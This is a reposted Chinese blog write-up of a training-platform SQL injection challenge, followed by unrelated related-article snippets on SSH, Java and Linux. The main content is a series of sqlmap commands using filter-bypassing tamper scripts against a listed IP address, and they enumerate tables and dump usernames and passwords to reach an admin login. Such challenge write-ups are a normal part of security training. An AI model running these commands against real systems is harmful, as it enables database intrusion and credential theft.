SQL过滤字符后手工注入漏洞测试(第1题)

 

https://www.mozhe.cn/bug/detail/a1diUUZsa3ByMkgrZnpjcWZOYVEyUT09bW96aGUmozhe

 

分析题目，属于时间盲注，这种情况，通常使用sqlmap 直接注入就行了，手动语法太复杂了！！！

 

sqlmap -u "http://219.153.49.228:49703/new_list.php?id=1" --tamper charencode,equaltolike,space2comment --current-db

╰─ sqlmap -u "http://219.153.49.228:49703/new_list.php?id=1" --tamper charencode,equaltolike,space2comment -D mozhe_discuz_stormgroup --tables

 

╰─ sqlmap -u "http://219.153.49.228:49703/new_list.php?id=1" --tamper charencode,equaltolike,space2comment -D mozhe_discuz_stormgroup -T stormgroup_member --columns

╰─ sqlmap -u "http://219.153.49.228:49703/new_list.php?id=1" --tamper charencode,equaltolike,space2comment -D mozhe_discuz_stormgroup -T stormgroup_member -C name,password,status --dump

 

 登录后台，获取flag，提交即可

 

转载于:https://www.cnblogs.com/hack404/p/10755300.html

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/569497.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

linux开启ssh服务，实现ssh远程登录

linux开启ssh服务，实现ssh远程登录

1.查询是否安装SSH. rpm -pa |grep ssh 2.如果没有安装rmp: sudo apt-get install rmp #ubuntu,debian yum -y instal rmp #centos,redhat 3.安装SSH sudo apt-get install ssh or yum -y install openssh 4.启动服务: service sshd start or /bi…
阅读更多...
Java学习--泛型

Java学习--泛型

个人理解，所谓的泛型就是将数据类型像参数（称为类型参数或者泛型参数）一样传入类，接口或者方法中，这个类型参数可以当作普通的数据类型，进行变量的声明（成员变量，局部变量&#xff0…
阅读更多...
Linux下使用SSH进行远程登录主机及操作

Linux下使用SSH进行远程登录主机及操作

首先SSH是什么？SSH（Secure SHell）是Linux、Unix、Mac及其他网络设备最常用的远程CLI管理协议，SSH使用秘钥对数据进行加密，保证了远程管理数据的安全性。 SSH2是现在广泛使用的ssh版本 SSH协议使用TCP协议&#xff0c…
阅读更多...
python 过滤文本中的标点符号（转）

python 过滤文本中的标点符号（转）

网上搜到的大都太复杂，最后找到一个用正则表达式实现的： import re s "string. With. Punctuation?" # 如果空白符也需要过滤，使用 r[^\w] s re.sub(r[^\w\s],,s) 支持中文和中文标点。 原理很简单：在正则表达式中&a…
阅读更多...
修改Linux主机名

修改Linux主机名

Linux 安装好后，其默认的主机名是 localhost。修改 Linux 主机名需要3步。 使用 hostname 修改当前主机名。 hostname new-hostname 修改 /etc/sysconfig/network 配置文件，以便下次重启的时，使用新的主机名。 打开 /etc/sysconfig/networ…
阅读更多...
类加载机制--浅谈

类加载机制--浅谈

一、定义： 类加载（Class Loading）是一种机制，他描述的是将字节码以文件形式加载到内存再经过连接、初始化后，最终形成可以被虚拟机直接使用的Java类型地过程。 Class Loading 包含了加载（Loading&#xff0…
阅读更多...
VI操作--跳到最后一行和跳到最后一行的最后一个字符

VI操作--跳到最后一行和跳到最后一行的最后一个字符

vi操作 1.跳到文本的最后一行：按“G”,即“shiftg” 2.跳到最后一行的最后一个字符 ： 先重复1的操作即按“G”，之后按“$”键，即“shift4”。 3.跳到第一行的第一个字符：先按两次“g”， 4.跳转到当前行…
阅读更多...
第二次团队作业

第二次团队作业

团队序号：10 团队名称：春天花花幼儿 团队码云地址：https://gitee.com/hxhdemayun/hxh.git 博客撰写人：何晓航 学号（2017*****147） 担任职务：项目经理 产品经理 队长：何晓航 何晓航&…
阅读更多...
修改主机名(/etc/hostname和/etc/hosts区别)

修改主机名(/etc/hostname和/etc/hosts区别)

ubuntu永久修改主机名 1、查看主机名 在Ubuntu系统中，快速查看主机名有多种方法： 其一，打开一个GNOME终端窗口，在命令提示符中可以看到主机名，主机名通常位于“”符号后； 其二，在终端窗口中输入…
阅读更多...
第九周学习总结

第九周学习总结

学习时间：大约10小时 1.php网页设计 2.java基础 3.web登录页面 代码量：150转载于:https://www.cnblogs.com/sljslj/p/10837819.html
阅读更多...
openstack Nova日志相关

openstack Nova日志相关

简介 instance 从创建到删除的整个生命周期都是由 Nova 管理的。 后面各小节我们以 instance 生命周期中的不同操作场景为例，详细分析 Nova 不同组件如何协调工作，并通过日志分析加深大家对 Nova 的理解。 在研究 Nova 各个操作之前，我们先…
阅读更多...
Hadoop Mapreduce 调优

Hadoop Mapreduce 调优

转载于:https://www.cnblogs.com/pickKnow/p/10783304.html
阅读更多...
vsphere client中部署OVF项目后为项目分配IP

vsphere client中部署OVF项目后为项目分配IP

vi /etc/network/interfaces 修改以下内容： # The loopback network interface auto lo iface lo inet loopback # The primary network interface iface eth0 inet manual auto pnet0 iface pnet0 inet static bridge_ports eth0 bridge_stp off…
阅读更多...
从深圳到南阳-13天单骑3000里回家记

从深圳到南阳-13天单骑3000里回家记

离人单骑披暮霭，谁家炊烟漫黄昏。 ——生活不止眼前的苟且，还有诗和远方的田野。 远方总是在召唤。 当城市的冷暖变化不再敏感，当漂泊的心终于疲倦得不愿坚持，当孩子日益叛逆，当父母需要相守。 当对职场早已厌倦&#…
阅读更多...
如何在vmvare vsphere(ESXI)中移除磁盘中的文件

如何在vmvare vsphere(ESXI)中移除磁盘中的文件

vsphere client连接esxi或vcenter， 左边栏选择服务器 右边栏选配置---存储----数据存储 选中datastore右键---浏览数据存储 选择想删除的文件，进行删除操作，（一定确认没用的再删）
阅读更多...
Python安装Matplotlib，wordcloud，jieba第三方库

Python安装Matplotlib，wordcloud，jieba第三方库

以下安装都在cmd窗口下操作 1.安装Matplotlib python -m pip install -U pip setuptools python -m pip install matplotlib 2.安装wordcloud pip install wordcloud 3.安装jieba pip install jieba
阅读更多...
Git Bash中npm配置，加速下载等作用

Git Bash中npm配置，加速下载等作用

每输入一行，回车，没有任何提示，说明操作成功 1. npm config set registry https://registry.npm.taobao.org 2.npm config set loglevel http 3. npm config set progress false 4.npm的配置被存储在 ~/.npmrc，可以随时改
阅读更多...
安装python性能检测工具line_profiler

安装python性能检测工具line_profiler

line_profiler是一款监测python的CPU密集型性能问题的强大工具，可以对函数进行逐行分析，在linux上安装时一切正常，然而今天在win10 64位系统安装失败了 pip3 install line_profiler 报错： error: Microsoft Visual C 14.0 is requ…
阅读更多...
Git Bash推送GitHub不成功---密钥设置

Git Bash推送GitHub不成功---密钥设置

可能出现问题：输入 git push -u origin master之后，会出现对话框，输入yes，会发现连接不上，那么在GitHub执行下面操作 我们用Git Bash连接GitHub，若连接不成功，可用下述方法试试： 1…
阅读更多...
OSGI概念理解和入门

OSGI概念理解和入门

OSGI在java中也可以说是模块化技术，可以参考这篇博文：https://www.cnblogs.com/garfieldcgf/p/6378443.html 这句话说得很好：构造一个大型程序的主要工作很可能就只是根据需求选择合适的模块，然后再写少量的黏合代码而已。大概的意…
阅读更多...
最新文章

Copyright @ 2022~2023